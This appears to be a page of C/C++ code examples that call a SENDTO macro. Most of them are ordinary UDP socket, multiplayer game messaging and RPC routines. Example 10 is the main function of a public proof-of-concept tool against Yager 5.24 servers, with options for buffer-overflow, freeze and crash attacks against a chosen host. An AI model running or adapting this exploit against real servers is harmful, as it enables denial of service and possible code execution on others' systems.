Exemplo n.º 1
0
//------------------------------------------------------------------------------
//
// Send() - Send data on a valid socket
//
//------------------------------------------------------------------------------
int32 CPassiveSocket::Send(const uint8 *pBuf, size_t bytesToSend)
{
    SetSocketError(SocketSuccess);
    m_nBytesSent = 0;

    switch(m_nSocketType)
    {
       case CSimpleSocket::SocketTypeUdp:
        {
            if (IsSocketValid())
            {
                if ((bytesToSend > 0) && (pBuf != NULL))
                {
                    m_timer.Initialize();
                    m_timer.SetStartTime();

                    m_nBytesSent = SENDTO(m_socket, pBuf, bytesToSend, 0, (const sockaddr *)&m_stClientSockaddr, sizeof(m_stClientSockaddr));

                    m_timer.SetEndTime();

                    if (m_nBytesSent == CSimpleSocket::SocketError)
                    {
                        TranslateSocketError();
                    }
                }
            }
            break;
        }
       default:
           CSimpleSocket::Send(pBuf, bytesToSend);
           break;
    }

    return m_nBytesSent;
}
Exemplo n.º 2
0
int udpioSend(UDPIO *up, UINT32 ip, int port, char *buf, int buflen)
{
int sent;
LOGIO *lp;
struct sockaddr_in addr;
static int alen = sizeof(struct sockaddr_in);
static char *fid = "udpioSend";

    if (up == NULL || buf == NULL) {
        errno = EINVAL;
        lp = (up == NULL) ? NULL : up->lp;
        logioMsg(lp, LOG_ERR, "%s: NULL input not allowed", fid);
        return -1;
    }

    memset((void *) &addr, 0, sizeof(struct sockaddr_in));
    addr.sin_family      = AF_INET;
    addr.sin_addr.s_addr = htonl(ip);
    addr.sin_port        = htons((short) port);

    sent = SENDTO(up->sd, buf, buflen, 0, &addr, alen);
    UpdateStats(&up->stats.xmit, sent, utilTimeStamp());

    return sent;
}
Exemplo n.º 3
0
void Enter(unsigned char team, string name)
{
	Message msg;
	msg.push_back("ENTER");
	msg.push_back((long) team);
	msg.push_back(name);
	SENDTO(lastNode, msg, false);
}
Exemplo n.º 4
0
void Welcome(Player::Id pid)
{
	Message msg;
	msg.push_back("WELCOME");
	msg.push_back((long) pid);
	msg.push_back(VERSION);
	msg.push_back((long) game.players.size());
	msg.push_back(MessageOfTheDay);
	SENDTO(findNode(pid), msg, true);
}
Exemplo n.º 5
0
void TeamInfo(NodeID nid)
{
	Message msg;
	msg.push_back("TEAMINFO");
	map<unsigned char,Objects::Team>::iterator it;
	for (it = game.teams.begin(); it != game.teams.end(); ++it)
	{
		msg.push_back((long) it->first);
		msg.push_back((double) it->second.resources);
	}
	SENDTO(nid, msg, true);
}
Exemplo n.º 6
0
void StructInfo(NodeID nid)
{
	Terrain *t = TO(Terrain,game.world->terrain);
	Message msg;
	msg.push_back("STRUCTINFO");
	map<GridPoint,ObjectHandle>::iterator it;
	for (it = t->structures.begin(); it != t->structures.end(); ++it)
	{
		msg.push_back(convert(it->first));
		msg.push_back((string) *it->second);
	}
	SENDTO(nid, msg, true);
}
Exemplo n.º 7
0
void PlayerInfo(NodeID nid)
{
	Message msg;
	msg.push_back("PLAYERINFO");
	map<Player::Id,ObjectHandle>::iterator it;
	for (it = game.players.begin(); it != game.players.end(); ++it)
	{
		if (it->first == nodes[nid]) continue; // Don't send player his own info
		if (it->first == game.player->id)
			msg.push_back((long) tokenring->id());
		else
			msg.push_back((long) findNode(it->first));
		
		msg.push_back((string) *it->second);
	}
	SENDTO(nid, msg, true);
}
Exemplo n.º 8
0
static int
_send_response(struct mls_elope *elope, struct mls_elope_packet *res)
{
    int len, ret = 0;
    len = mls_elope_packet_get_length(res);

    len = SENDTO(elope->srv->sock, res, len, 0, 
        (struct sockaddr*)&(elope->from), (elope->from_len));
    if (len < 0) {
        ret = -errno;
        LOG_ERR(MLS_LOG_DEFAULT_MODULE,
            "sendto(%d): %s.\n", errno, strerror(errno));
        goto out;
    }
out:
    return ret;
}
Exemplo n.º 9
0
//------------------------------------------------------------------------------
//
// Send() - Send data on a valid socket
//
//------------------------------------------------------------------------------
i32 TDSocket::Send(const char *pBuf, size_t bytesToSend)
{
	SetSocketError(SocketSuccess);
	m_nBytesSent = 0;

	switch (m_nSocketType)
	{
	case TDSocket::SocketTypeTcp:
	{
		if (IsSocketValid())
		{
			if ((bytesToSend > 0) && (pBuf != NULL))
			{
				//---------------------------------------------------------
				// Check error condition and attempt to resend if call
				// was interrupted by a signal.
				//---------------------------------------------------------
				do
				{
					m_nBytesSent = SEND(m_socket, pBuf, bytesToSend, 0);
					TranslateSocketError();
				} while (GetSocketError() == TDSocket::SocketInterrupted);

			}
		}
		break;
	}
	case TDSocket::SocketTypeUdp:
	{
		if (IsSocketValid())
		{
			if ((bytesToSend > 0) && (pBuf != NULL))
			{
				//---------------------------------------------------------
				// Check error condition and attempt to resend if call
				// was interrupted by a signal.
				//---------------------------------------------------------
				//                    if (GetMulticast())
				//                    {
				//                        do
				//                        {
				//                            m_nBytesSent = SENDTO(m_socket, pBuf, bytesToSend, 0, (const sockaddr *)&m_stMulticastGroup, 
				//                                                  sizeof(m_stMulticastGroup));
				//                            TranslateSocketError();
				//                        } while (GetSocketError() == TDSocket::SocketInterrupted);
				//                    }
				//                    else
				{
					do
					{
						m_nBytesSent = SENDTO(m_socket, pBuf, bytesToSend, 0, (const sockaddr *)&m_stServerSockaddr, sizeof(m_stServerSockaddr));
						TranslateSocketError();
					} while (GetSocketError() == TDSocket::SocketInterrupted);
				}

			}
		}
		break;
	}
	default:
		break;
	}

	return m_nBytesSent;
}
Exemplo n.º 10
0
int main(int argc, char *argv[]) {
    struct  sockaddr_in peer;
    int     sd,
            len,
            attack,
            tmp,
            autoport = 1;
    u_short port = PORT;
    u_char  *buff,
            info[] =
                "Y_NET_YAGER_CLIENT\0"
                "\x00\x00" "\x00\x00",
            *p;
    struct yager_head {
        u_long  type;
        u_short size;
        u_short pck1;
        u_short pck2;
    } *yh;


    setbuf(stdout, NULL);

    fputs("\n"
        "Yager <= 5.24 multiple vulnerabilities "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: [email protected]\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 3) {
        printf("\n"
            "Usage: %s <attack> <host> [port(auto)]\n"
            "\n"
            "Attacks:\n"
            " 1 = nickname buffer-overflow\n"
            " 2 = big data buffer-overflow\n"
            " 3 = freeze of server and connected clients\n"
            " 4 = crash using type 0x1d (in 0x0050e970)\n"
            " 5 = crash using type 0x22 (in 0x004fd2b8)\n"
            " 6 = crash using type 0x24 (in 0x004fd2f5)\n"
            " 7 = crash using type 0x28 (in 0x004b0f1b)\n"
            "\n", argv[0]);
        exit(1);
    }

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    if(argc > 3) {
        autoport = 0;
        port = atoi(argv[3]);
    }

    peer.sin_addr.s_addr = resolv(argv[2]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target   %s : %hu\n",
        inet_ntoa(peer.sin_addr), port);

    buff = malloc(BUFFSZ);
    if(!buff) std_err();

    if(autoport) {
        sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
        if(sd < 0) std_err();

        fputs("- request informations:\n", stdout);
        *(u_short *)(info + 19) = ~time(NULL);
        SENDTO(info);
        RECVFROM;
        close(sd);

        p = buff + 19;
        port = ntohs(*(u_short *)p);
        printf("\n  Server port   %d\n", port);
        p += 2;
        SHOW("  Map           ");
        printf("  Version       %d.%d\n", p[1], p[0]);
        p += 2;
        SHOW("  Server name   ");
        p += 4;
        printf("  Players       %d / %d\n\n", p[1], p[0]);

        peer.sin_port = htons(port);
    }

    attack = atoi(argv[1]);
    if(attack > 7) {
        fputs("\nError: you have chosen a wrong attack number\n\n", stdout);
        exit(1);
    }

    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd < 0) std_err();

    if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
      < 0) std_err();

    yh = (struct yager_head *)buff;
    yh->pck1 = tmp = ~time(NULL) & 0xffff;
    yh->pck2 = 0;

    if(attack == 1) {
        yh->type = 0x1e;
        memcpy(buff + HEADSZ, NICKBOF, sizeof(NICKBOF) - 1);
        yh->size = sizeof(NICKBOF) - 1;
        fputs("- send long data block for nickname buffer-overflow\n", stdout);

    } else if(attack == 2) {
        yh->type = 0x00;    // almost any other type is ok
        memcpy(buff + HEADSZ, PCKBOF, sizeof(PCKBOF) - 1);
        yh->size = sizeof(PCKBOF) - 1;
        fputs("- send long data block for packet buffer-overflow\n", stdout);

    } else if(attack == 3) {
        yh->type = 0x1b;
        yh->size = 0;
        printf("- server waits for %d bytes but we send a partial header\n", HEADSZ);
        tmp %= HEADSZ;
        if(tmp <= 0) tmp = 1;
        SEND(buff, tmp);
        fputs("  Server and connected clients should be freezed, press RETURN to stop the attack\n", stdout);
        fgetc(stdin);
        close(sd);
        return(0);

    } else {
        if(attack == 4) {
            yh->type = 0x1d;
        } else if(attack == 5) {
            yh->type = 0x22;
        } else if(attack == 6) {
            yh->type = 0x24;
        } else if(attack == 7) {
            yh->type = 0x28;
        }

        memset(buff + HEADSZ, 0xff, CRASHSZ);
        yh->size = CRASHSZ;
        printf("- send crash data with type 0x%08lx\n", yh->type);
    }

    SEND(buff, yh->size + HEADSZ);
    fputs("- check server status\n", stdout);
    if(!timeout(sd)) {
        if(recv(sd, buff, BUFFSZ, 0) < 0) {
            fputs("\nServer IS vulnerable!!!\n\n", stdout);
        } else {
            fputs("\nServer doesn't seem vulnerable\n\n", stdout);
        }
    } else {
        fputs("\nNo reply from the server, it is probably not vulnerable\n\n", stdout);
    }

    close(sd);
    return(0);
}
Exemplo n.º 11
0
int
mls_elope_rpc(struct mls_net_ud_cln *cln,
    struct mls_elope_packet *req, struct mls_elope_packet *res, int reslen)
{
    int ret = 0;
    int sock = cln->sock;
    struct sockaddr_storage from;
    socklen_t fromlen;
    ssize_t len;

    fd_set mask;
    int width;
    int i, retry = 2, wait_sec = 2;

    FD_ZERO(&mask);
    FD_SET(sock, &mask);
    width = sock + 1;

    for (i = 0; i < retry; i++) {
        fd_set ready;
        struct timeval timeout;

        /* request */
        if ((len = SENDTO(sock, req, mls_elope_packet_get_length(req),
                          0, (struct sockaddr *)&(cln->to), cln->tolen)) == -1)
        {
            ret = -errno;
            LOG_ERR(MLS_LOG_DEFAULT_MODULE,
                    "sendto(%d): %s.\n", errno, strerror(errno));
            goto out;
        }

        ready = mask;
        timeout.tv_sec = wait_sec;
        timeout.tv_usec = 0;

        switch (select(width, (fd_set*)&ready, NULL, NULL, &timeout)) {
        case -1:
            ret = -errno;
            LOG_ERR(MLS_LOG_DEFAULT_MODULE,
                "select(%d,%s)\n", errno, strerror(errno));
            goto out;
        case 0:
            /* timeout, retry */
            break;

        default:
            if (FD_ISSET(sock, &ready)) {
                ssize_t len;

                /* response */
                fromlen = sizeof(from);
                if ((len = RECVFROM(sock, (char*)res, reslen, 
                                    0, (struct sockaddr*)&from, &fromlen)) == -1)
                {
                    ret = -errno;
                    LOG_ERR(MLS_LOG_DEFAULT_MODULE,
                            "recvfrom(%d): %s.\n", errno, strerror(errno));
                    goto out;
                }

                /* OK, response packet */
                ret = len;
                LOG_INFO(MLS_LOG_DEFAULT_MODULE,
                    "message rpc, ok(%d,%d)\n", i, ret);
                goto out;
            }
            break;
        }
    }

    /* retry over */
    ret = -1;
    LOG_ERR(MLS_LOG_DEFAULT_MODULE, "message rpc, retry over(%d,%d)\n", i, ret);

out:
    return ret;
}